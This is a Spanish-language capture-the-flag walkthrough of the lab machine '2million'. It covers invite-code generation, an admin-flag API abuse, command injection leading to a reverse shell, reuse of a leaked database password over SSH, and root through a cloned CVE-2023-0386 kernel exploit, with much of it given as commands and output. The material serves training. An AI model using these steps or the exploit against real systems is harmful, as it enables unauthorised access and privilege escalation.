Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 04:53 EDT
Nmap scan report for 10.10.11.221
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.07 seconds
Veremos que hay varios puertos entre ellos el 80 el cual nos esta redirigiendo a un dominio llamado 2million.htb, vamos añadirlo en nuestro archivo hosts.
Lo guardamos y entramos a dicho dominio, entrando dentro del mismo veremos una pagina web la cual se dedica a pentesting de forma ética de tipo laboratorios, etc...
Veremos que hay un login en el panel de arriba, si entramos dentro de dicha opcion, veremos lo siguiente:
Pero no tenemos ninguna cuenta para acceder y tampoco vemos que haya un registro de cuentas en algun boton, por lo que vamos a realizar un poco de fuzzing para ver que vemos.
Gobuster
Info:
Veremos muchas cosas interesantes, pero entre ello veremos un register por lo que vamos a entrar ahi, a ver si podemos crear una cuenta.
Info:
Dentro efectivamente nos podremos registrar, por lo que vamos a rellenar todos los datos y a registrarnos con un usuario.
Pero si le damos a registrar, nos pedira un codigo de invitacion primero el cual no tenemos, recordemos que encontramos otro recurso llamado /invite en el cual si entramos pone que pongamos un codigo de invitacion valido pero lo seguimos sin tener, si inspeccionamos el codigo veremos un .js llamado inviteapi.min.js dentro veremos lo siguiente:
Si lo analizamos vemos que esta ofuscado en Dean Edwards' Packer si lo deofuscamos con IA veremos lo siguiente:
Veremos que podemos generar un codigo de invitacion, tambien vemos que nos da instrucciones de como generarlo, por lo que vamos a obtener dichas instrucciones de esta forma:
Info:
Vemos que esta encriptado en ROT13 si lo decodificamos veremos lo siguiente:
Vamos a montarnos un pequeño script para que lo automatice todo esto:
generateCode.py
Ahora lo ejecutamos de esta forma:
Info:
Veremos que ha funcionado, pero nos lo codifica en base64 por lo que lo tenemos que decodificar:
Info:
Ahora si ese codigo lo metemos en el campo de /invite veremos que nos redirige al register con el codigo de invitacion ya:
Una vez metiendo todos los datos, vamos a registrarnos, echo esto nos redirige al login y veremos que funciona, una vez logueados veremos lo siguiente:
Estamos en un panel de control con nuestro usuario, si nos vamos a access veremos un panel en el que nos podemos descargar una vpn para conectarnos desde nuestra maquina a la red de la pagina, pero vemos en el siguiente link como esta descargando la vpn:
Vemos que atraves de esa URL esta generando la vpn con nuestro usuario, pero si probamos a cambiar user por admin veremos una pantalla en blanco como que algo esta funcionando, pero no nos descarga nada, si nos vamos a la configuracion de la API.
Info:
Veremos varias cosas interesantes, vamos aprovechar esto para probar a ver que nos devuelve el update:
Info:
Ya sabemos como rellenar el contenido para que funcione, por lo que haremos lo siguiente, al registrar el email de nuestro usuario tendremos que ponerlo en ese parametro email:
Info:
Veremos que ahora nos falta el parametro is_admin, por lo que haremos esto:
Info:
Nos pone que tiene que ser 1 o 0, por lo que elegiremos 1 para que sea admin nuestro usuario.
Info:
Vemos que ha funcionado, por lo que ya seremos admin con dicho usuario, ahora si entramos al panel con dicho usuario de nuevo veremos lo de siempre, vamos a probar a generar la vpn desde nuestra terminal.
Info:
Vemos que requiere de un nombre de usuario, si se lo pasamos:
Info:
Nos lo genera bien, pero no nos interesa esto, vamos a probar a realizar un comman injection a ver si funciona, ya que por detras se esta ejecutando un comando y posiblemente comentando lo siguiente y concatenando un comando podremos ejecutar comandos en el sistema de esta forma:
Info:
Vamos a realizar una reverse shell de esta forma, antes nos pondremos a la escucha:
Ahora vamos a ejecutar lo siguiente:
Si volvemos a donde tenemos la escucha, veremos lo siguiente:
Vemos que ha funcionado, por lo que sanitizaremos la shell.
Sanitización de shell (TTY)
Escalate user admin
Si leemos el archivo Database.php veremos esto:
Vemos que se estan guardando en variables las cosas y si listamos la misma carpeta, veremos este archivo:
Info:
Vemos que hay un archivo que contiene las variables, si lo leemos veremos lo siguiente:
Vamos a conectarnos a la DDBB gracias a estos datos:
Info:
Pero no veremos nada interesante, vamos a probar si esta contraseña es reutilizable por SSH para dicho usuario.
Metemos como contraseña SuperDuperPass123...
Veremos que ha funcionado, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si investigamos bastante veremos que en el siguiente directorio hay una nota:
Info:
Vemos que nos dice que hay un CVE asociado al kernel de la maquina victima, si vemos que version es:
Info:
Investigando sobre dicha version de kernel veremos que si es vulnerable a lo que pone en la nota, en la siguiente pagina nos muestra los pasos a seguir par explotarla (CVE-2023-0386).
function verifyInviteCode(code) {
var formData = {"code":code};
$.ajax({
type:"POST",
dataType:"json",
data:formData,
url:'/api/v1/invite/verify',
success:function(response){console.log(response)},
error:function(response){console.log(response)}
})
}
function makeInviteCode() {
$.ajax({
type:"POST",
dataType:"json",
url:'/api/v1/invite/how/to/generate',
success:function(response){console.log(response)},
error:function(response){console.log(response)}
})
}
curl -X POST http://2million.htb/api/v1/invite/how/to/generate -H "Content-Type: application/json" -d '{}'
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"
#!/usr/bin/env python3
import requests
import json
import codecs
def rot13_decode(text):
"""Decodifica texto en ROT13"""
return codecs.decode(text, 'rot13')
def get_invite_instructions():
"""Obtiene instrucciones para generar el código de invitación"""
url = "http://2million.htb/api/v1/invite/how/to/generate"
response = requests.post(url, json={})
if response.status_code == 200:
data = response.json()
print("[+] Respuesta del servidor:")
print(json.dumps(data, indent=2))
# Decodificar el mensaje ROT13
if 'data' in data and 'data' in data['data']:
encrypted_msg = data['data']['data']
decrypted_msg = rot13_decode(encrypted_msg)
print(f"\n[+] Mensaje descifrado (ROT13): {decrypted_msg}")
return data
else:
print(f"[-] Error: {response.status_code}")
return None
def generate_invite_code():
"""Genera un código de invitación"""
generate_url = "http://2million.htb/api/v1/invite/generate"
response = requests.post(generate_url, json={})
if response.status_code == 200:
invite_data = response.json()
print(f"\n[+] Respuesta de generación:")
print(json.dumps(invite_data, indent=2))
return invite_data
else:
print(f"[-] Error en generación: {response.status_code}")
return None
def verify_invite_code(code):
"""Verifica un código de invitación"""
url = "http://2million.htb/api/v1/invite/verify"
data = {"code": code}
response = requests.post(url, json=data)
if response.status_code == 200:
result = response.json()
print(f"\n[+] Verificación del código:")
print(json.dumps(result, indent=2))
return result
else:
print(f"[-] Error en verificación: {response.status_code}")
return None
if __name__ == "__main__":
print("[*] Obteniendo instrucciones para generar código de invitación...")
# Paso 1: Obtener y descifrar instrucciones
instructions = get_invite_instructions()
# Paso 2: Generar código de invitación
print("\n[*] Generando código de invitación...")
invite_data = generate_invite_code()
if invite_data and 'data' in invite_data:
# El código probablemente viene en formato codificado
code_data = invite_data['data']
print(f"\n[🎫] Datos del código: {code_data}")
# Intentar decodificar si está en base64 o otro formato
if isinstance(code_data, str) and len(code_data) > 10:
# Probar diferentes decodificaciones
try:
import base64
decoded = base64.b64decode(code_data).decode()
print(f"[+] Decodificado Base64: {decoded}")
code_to_verify = decoded
except:
code_to_verify = code_data
# Paso 3: Verificar el código
print("\n[*] Verificando código...")
verify_invite_code(code_to_verify)
python3 generateCode.py
[*] Obteniendo instrucciones para generar código de invitación...
[+] Respuesta del servidor:
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
[+] Mensaje descifrado (ROT13): In order to generate the invite code, make a POST request to /api/v1/invite/generate
[*] Generando código de invitación...
[+] Respuesta de generación:
{
"0": 200,
"success": 1,
"data": {
"code": "QVNKWlktOFUzUzYtN0JCUzMtQzQ4VVM=",
"format": "encoded"
}
}
[🎫] Datos del código: {'code': 'QVNKWlktOFUzUzYtN0JCUzMtQzQ4VVM=', 'format': 'encoded'}
listening on [any] 7777 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.11.221] 52816
bash: cannot set terminal process group (1191): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1483272
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
ssh admin@<IP>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Sep 30 02:16:30 PM UTC 2025
System load: 0.00439453125
Usage of /: 91.2% of 4.82GB
Memory usage: 23%
Swap usage: 0%
Processes: 231
Users logged in: 0
IPv4 address for eth0: 10.10.11.221
IPv6 address for eth0: dead:beef::250:56ff:fe94:ca02
=> / is using 91.2% of 4.82GB
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Tue Sep 30 11:12:27 2025 from 10.10.16.35
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@2million:~$ whoami
admin
a07ca23cbc079e63ab034c5c8f730409
cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
uname -r
5.15.70-051570-generic
cd /tmp
git clone https://github.com/sxlmnwb/CVE-2023-0386.git
zip -r CVE-2023-0386.zip CVE-2023-0386/
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Oct 1 08:22 .
drwxr-xr-x 6 root root 4096 Oct 1 08:22 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386# whoami
root